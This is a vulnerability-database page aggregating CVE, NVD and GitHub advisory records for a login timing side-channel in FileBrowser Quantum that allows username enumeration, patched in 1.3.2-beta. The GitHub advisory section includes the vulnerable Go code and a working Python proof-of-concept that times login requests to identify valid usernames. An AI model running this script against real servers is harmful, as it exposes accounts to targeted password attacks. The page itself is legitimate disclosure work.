Vulnerability-Lookup

CVE-2026-54685 (GCVE-0-2026-54685)

Vulnerability from cvelistv5 – Published: 2026-07-20 14:17 – Updated: 2026-07-21 15:31

Title

FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel

Summary

FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to version 1.3.2-beta, the `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. Version 1.3.2-beta patches the issue.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-21 15:30 UTC

CWE

CWE-208 - Observable Timing Discrepancy

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/gtsteffaniak/filebrowser/secur…	x_refsource_CONFIRM
https://github.com/gtsteffaniak/filebrowser/commi…	x_refsource_MISC
https://github.com/gtsteffaniak/filebrowser/relea…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
gtsteffaniak	filebrowser	Affected: < 1.3.2-beta	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54685",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-21T15:30:56.605410Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-21T15:31:49.570Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "filebrowser",
          "vendor": "gtsteffaniak",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.3.2-beta"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to version 1.3.2-beta, the `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. Version 1.3.2-beta patches the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-208",
              "description": "CWE-208: Observable Timing Discrepancy",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-20T14:19:45.686Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w"
        },
        {
          "name": "https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85"
        },
        {
          "name": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta"
        }
      ],
      "source": {
        "advisory": "GHSA-7789-65hx-f26w",
        "discovery": "UNKNOWN"
      },
      "title": "FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54685",
    "datePublished": "2026-07-20T14:17:13.083Z",
    "dateReserved": "2026-06-15T22:53:58.561Z",
    "dateUpdated": "2026-07-21T15:31:49.570Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-54685",
      "date": "2026-09-16",
      "epss": "0.00468",
      "percentile": "0.3948"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-54685\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-07-20T15:16:43.787\",\"lastModified\":\"2026-07-22T20:50:36.493\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to version 1.3.2-beta, the `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. Version 1.3.2-beta patches the issue.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"gtsteffaniak\",\"product\":\"filebrowser\",\"versions\":[{\"version\":\"\u003c 1.3.2-beta\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\",\"baseScore\":5.3,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":1.4}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-21T15:30:56.605410Z\",\"id\":\"CVE-2026-54685\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-208\"}]}],\"references\":[{\"url\":\"https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-54685\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-21T15:30:56.605410Z\"}}}], \"references\": [{\"url\": \"https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-21T15:31:30.530Z\"}}], \"cna\": {\"title\": \"FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel\", \"source\": {\"advisory\": \"GHSA-7789-65hx-f26w\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 5.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"gtsteffaniak\", \"product\": \"filebrowser\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 1.3.2-beta\"}]}], \"references\": [{\"url\": \"https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w\", \"name\": \"https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85\", \"name\": \"https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta\", \"name\": \"https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to version 1.3.2-beta, the `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. Version 1.3.2-beta patches the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-208\", \"description\": \"CWE-208: Observable Timing Discrepancy\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-07-20T14:19:45.686Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-54685\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-21T15:31:49.570Z\", \"dateReserved\": \"2026-06-15T22:53:58.561Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-07-20T14:17:13.083Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-54685

Vulnerability from fkie_nvd - Published: 2026-07-20 15:16 - Updated: 2026-07-22 20:50

Severity

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85
	security-advisories@github.com	https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta
	security-advisories@github.com	https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "filebrowser",
          "vendor": "gtsteffaniak",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.3.2-beta"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to version 1.3.2-beta, the `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. Version 1.3.2-beta patches the issue."
    }
  ],
  "id": "CVE-2026-54685",
  "lastModified": "2026-07-22T20:50:36.493",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54685",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-21T15:30:56.605410Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-20T15:16:43.787",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-208"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-7789-65HX-F26W

Vulnerability from github – Published: 2026-03-24 19:18 – Updated: 2026-07-08 17:35

Summary

FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel

Details

Summary

The /api/auth/login authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a 401/403 response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.

Details

The vulnerability exists in the Auth function of JSONAuth in auth/json.go (lines 45–52). The function performs a database lookup for the user prior to performing any password validation.

user, err := userStore.Get(username)
    if err != nil {
        return nil, fmt.Errorf("unable to get user from store: %v", err)
    }
    err = users.CheckPwd(password, user.Password)
    if err != nil {
        return nil, err
    }

If the username is not found, the function returns an error immediately. If the username is found, the function calls CheckPwd, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.

As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.

In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms.

PoC

The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.

import requests
import time
import statistics

# Configuration - adjust domain and wordlist as appropriate
TARGET_URL = "http://localhost/api/auth/login"
WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"]

def measure(username):
    start = time.perf_counter()
    requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"})
    return time.perf_counter() - start

# 1. Baseline Calibration
print("[*] Calibrating...")
baselines = [measure(f"not_a_user_{i}") for i in range(20)]
threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)
print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s")

# 2. Validation Test
for user in WORDLIST:
    t = measure(user)
    status = "VALID" if t > threshold else "invalid"
    print(f"{user:<15} | {t:.4f}s | {status}")

Example output (with admin and user2 configured as valid users in the application):

$ python timeattack.py
[*] Calibrating...
[*] Baseline: 0.0041s | Threshold: 0.0256s
admin           | 0.0505s | VALID
root            | 0.0019s | invalid
user2           | 0.0464s | VALID
nonexistent_test_user | 0.0015s | invalid

Impact

An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gtsteffaniak/filebrowser/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260317230626-af08800667b8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54685"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T19:18:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time.\n\n### Details\n\nThe vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45\u201352). The function performs a database lookup for the user prior to performing any password validation.\n\n```go\nuser, err := userStore.Get(username)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to get user from store: %v\", err)\n\t}\n\terr = users.CheckPwd(password, user.Password)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n```\n\nIf the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.\n\nAs a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.\n\nIn testing, responses for valid usernames consistently required approximately 40\u201350 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1\u20134 ms.\n\n### PoC\n\nThe script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline.\n\n```python\nimport requests\nimport time\nimport statistics\n\n# Configuration - adjust domain and wordlist as appropriate\nTARGET_URL = \"http://localhost/api/auth/login\"\nWORDLIST = [\"admin\", \"root\", \"user2\", \"nonexistent_test_user\"]\n\ndef measure(username):\n    start = time.perf_counter()\n    requests.post(TARGET_URL, params={\"username\": username}, headers={\"X-Password\": \"wrong-password\"})\n    return time.perf_counter() - start\n\n# 1. Baseline Calibration\nprint(\"[*] Calibrating...\")\nbaselines = [measure(f\"not_a_user_{i}\") for i in range(20)]\nthreshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)\nprint(f\"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s\")\n\n# 2. Validation Test\nfor user in WORDLIST:\n    t = measure(user)\n    status = \"VALID\" if t \u003e threshold else \"invalid\"\n    print(f\"{user:\u003c15} | {t:.4f}s | {status}\")\n```\n\nExample output (with `admin` and `user2` configured as valid users in the application):\n\n```\n$ python timeattack.py\n[*] Calibrating...\n[*] Baseline: 0.0041s | Threshold: 0.0256s\nadmin           | 0.0505s | VALID\nroot            | 0.0019s | invalid\nuser2           | 0.0464s | VALID\nnonexistent_test_user | 0.0015s | invalid\n```\n\n### Impact\n\nAn unauthenticated attacker can enumerate valid usernames by measuring authentication response times.",
  "id": "GHSA-7789-65hx-f26w",
  "modified": "2026-07-08T17:35:48Z",
  "published": "2026-03-24T19:18:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-7789-65hx-f26w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/af08800667b874620edc6f44c3e2e64fec7abd85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gtsteffaniak/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.3.2-beta"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-54685 (GCVE-0-2026-54685)

FKIE_CVE-2026-54685

GHSA-7789-65HX-F26W

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour